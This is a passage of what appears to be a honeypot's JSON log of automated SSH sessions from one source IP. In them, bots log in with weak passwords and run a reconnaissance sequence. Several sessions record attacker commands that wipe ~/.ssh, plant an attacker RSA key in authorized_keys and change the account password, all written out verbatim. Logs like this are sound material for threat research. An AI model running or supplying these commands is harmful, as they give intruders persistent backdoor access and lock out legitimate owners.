FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:00:40.974262+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:00:41.762593+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:00:42.521220+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:00:42.837135+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:00:43.596196+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:00:44.349513+00:00","kind":"output","latency_ms":null,"data":"top - 14:00:44 up 6 days, 10:50,  0 user,  load average: 0.23, 0.27, 0.23\nTasks: 108 total,   1 running, 107 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6514 free,    9373 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:00:45.107913+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:00:45.707057+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:00:46.466277+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:00:46.931129+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:00:47.687734+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:00:48.306800+00:00","kind":"output","latency_ms":null,"data":"syncuser"},{"seq":29,"at":"2026-08-26T14:00:49.064748+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:00:50.344558+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:00:51.104561+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:00:52.075204+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"syncuser","password":"123","method":"password","accepted":true,"tier":"other"}]}
{"id":"89dee331-a6a4-4cac-9932-47dbc0806f2e","name":"vernal-blunt-tamarin","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40682,"username":"syncuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:00:28.054302+00:00","ended_at":"2026-08-26T14:00:29.165691+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"syncuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"736e19ee-0896-4795-8133-b6659e811250","name":"weathered-steady-tamarin","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40681,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:00:24.975077+00:00","ended_at":"2026-08-26T14:00:26.539355+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"70a47b81-29fd-4cf0-afd5-77c5a5922328","name":"kindly-polar-grebe","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40677,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":746,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:58:04.013595+00:00","ended_at":"2026-08-26T13:58:05.224226+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2120,"events":[{"seq":1,"at":"2026-08-26T13:57:36.502050+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:57:37.245987+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:57:42.887699+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:57:43.733855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:57:44.479627+00:00","kind":"input","latency_ms":null,"data":"echo -e \"user123\\nNETNnoR1YgNd\\nNETNnoR1YgNd\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:57:45.223409+00:00","kind":"input","latency_ms":null,"data":"echo \"user123\\nNETNnoR1YgNd\\nNETNnoR1YgNd\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:57:45.968585+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:57:46.695127+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:57:47.442434+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:57:48.637078+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:57:49.385789+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:57:50.388579+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:57:51.148880+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:57:51.722639+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:57:52.468638+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:57:52.942169+00:00","kind":"output","latency_ms":null,"data":" 13:57:52 up 6 days, 10:47,  0 user,  load average: 0.3, 0.36, 0.26\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:57:53.687805+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:57:54.016807+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:57:54.763177+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:57:55.249615+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:57:55.995616+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:57:56.826719+00:00","kind":"output","latency_ms":null,"data":"top - 13:57:56 up 6 days, 10:48,  0 user,  load average: 0.3, 0.36, 0.26\nTasks: 116 total,   1 running, 115 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7149 free,    8738 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:57:57.571778+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:57:58.452083+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:57:59.198825+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:57:59.889330+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:58:00.635191+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:58:01.213706+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-26T13:58:01.960682+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:58:03.264606+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:58:04.014373+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:58:04.986422+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"user123","method":"password","accepted":true,"tier":"other"}]}
{"id":"fa5d6697-e519-4133-8b0c-07c266b80b97","name":"ruddy-jaunty-llama","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40679,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:57:41.677194+00:00","ended_at":"2026-08-26T13:57:42.651049+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"f4be47cb-f2fb-4eb4-9a55-681ac9d4f630","name":"hazy-amiable-brambling","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40678,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:57:38.977232+00:00","ended_at":"2026-08-26T13:57:40.180776+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"c9d6f7ec-ae53-46c3-ae66-55da39cd2361","name":"merry-noble-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40674,"username":"tu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:55:14.798951+00:00","ended_at":"2026-08-26T13:55:16.062830+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2096,"events":[{"seq":1,"at":"2026-08-26T13:54:48.288134+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:54:49.034872+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:54:55.200946+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:54:55.520851+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:54:56.270440+00:00","kind":"input","latency_ms":null,"data":"echo -e \"tu\\nxZCtVACZhcqU\\nxZCtVACZhcqU\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:54:57.018402+00:00","kind":"input","latency_ms":null,"data":"echo \"tu\\nxZCtVACZhcqU\\nxZCtVACZhcqU\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:54:57.766402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:54:58.048595+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:54:58.798715+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:55:00.151523+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:55:00.902075+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:55:02.138454+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:55:02.890361+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:55:03.408744+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:55:04.158809+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:55:04.899938+00:00","kind":"output","latency_ms":null,"data":" 13:55:04 up 6 days, 10:45,  0 user,  load average: 0.27, 0.3, 0.32\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:55:05.649560+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:55:06.125495+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:55:06.876250+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:55:07.283900+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:55:08.033912+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:55:08.571171+00:00","kind":"output","latency_ms":null,"data":"top - 13:55:08 up 6 days, 10:45,  0 user,  load average: 0.27, 0.3, 0.32\nTasks: 118 total,   1 running, 117 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6672 free,    9215 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:55:09.328438+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:55:09.642582+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:55:10.391844+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:55:11.161760+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:55:11.910270+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:55:12.415156+00:00","kind":"output","latency_ms":null,"data":"tu"},{"seq":29,"at":"2026-08-26T13:55:13.164696+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:55:14.051539+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:55:14.799750+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:55:15.824743+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tu","password":"tu","method":"password","accepted":true,"tier":"other"}]}
{"id":"1f8b0e84-fcd1-40ee-8532-e1b6b13568ae","name":"sullen-nautical-walrus","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40676,"username":"tu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:54:54.026832+00:00","ended_at":"2026-08-26T13:54:54.964263+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"tu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"cf1587b1-6ace-4aeb-a4be-a81accf19873","name":"mellow-murky-mink","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40675,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:54:50.790697+00:00","ended_at":"2026-08-26T13:54:52.523249+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"215ced8a-5754-4c1e-aa4e-f93dfd2d660b","name":"frugal-supple-magpie","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40609,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":757,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:52:26.025846+00:00","ended_at":"2026-08-26T13:52:27.685370+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2109,"events":[{"seq":1,"at":"2026-08-26T13:51:58.436438+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:51:59.191541+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:52:05.981526+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:52:06.279789+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:52:07.037028+00:00","kind":"input","latency_ms":null,"data":"echo -e \"testpassword\\n2O7thyMLi0dY\\n2O7thyMLi0dY\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:52:07.793231+00:00","kind":"input","latency_ms":null,"data":"echo \"testpassword\\n2O7thyMLi0dY\\n2O7thyMLi0dY\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:52:08.551176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:52:08.980144+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:52:09.736338+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:52:11.051785+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:52:11.811856+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:52:13.293880+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:52:14.053522+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:52:14.534115+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:52:15.293582+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:52:16.064508+00:00","kind":"output","latency_ms":null,"data":" 13:52:16 up 6 days, 10:42,  0 user,  load average: 0.18, 0.19, 0.12\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:52:16.822350+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:52:17.491603+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:52:18.250109+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:52:18.655675+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:52:19.414191+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:52:19.712571+00:00","kind":"output","latency_ms":null,"data":"top - 13:52:19 up 6 days, 10:42,  0 user,  load average: 0.18, 0.19, 0.12\nTasks: 121 total,   1 running, 120 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9215 free,    6672 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:52:20.470389+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:52:20.730068+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:52:21.489084+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:52:21.923699+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:52:22.681237+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:52:23.420394+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-26T13:52:24.176517+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:52:25.267642+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:52:26.026956+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:52:27.444136+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"testpassword","method":"password","accepted":true,"tier":"other"}]}
{"id":"7569605e-2a35-4a98-bb95-eb682bbb282a","name":"scarlet-weathered-kingfisher","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40611,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:52:04.407947+00:00","ended_at":"2026-08-26T13:52:05.741560+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"846bd31a-a28e-4de1-906c-48a1afec9f39","name":"gnarled-gentle-bonobo","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40610,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:52:00.943098+00:00","ended_at":"2026-08-26T13:52:02.909054+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"0af7d103-2e98-4bdb-876a-147ebe8b9ad0","name":"honest-thrifty-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40606,"username":"promo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":753,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:49:39.315397+00:00","ended_at":"2026-08-26T13:49:40.995564+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2085,"events":[{"seq":1,"at":"2026-08-26T13:49:11.434569+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:49:12.182965+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:49:18.689829+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:49:19.101671+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:49:19.853423+00:00","kind":"input","latency_ms":null,"data":"echo -e 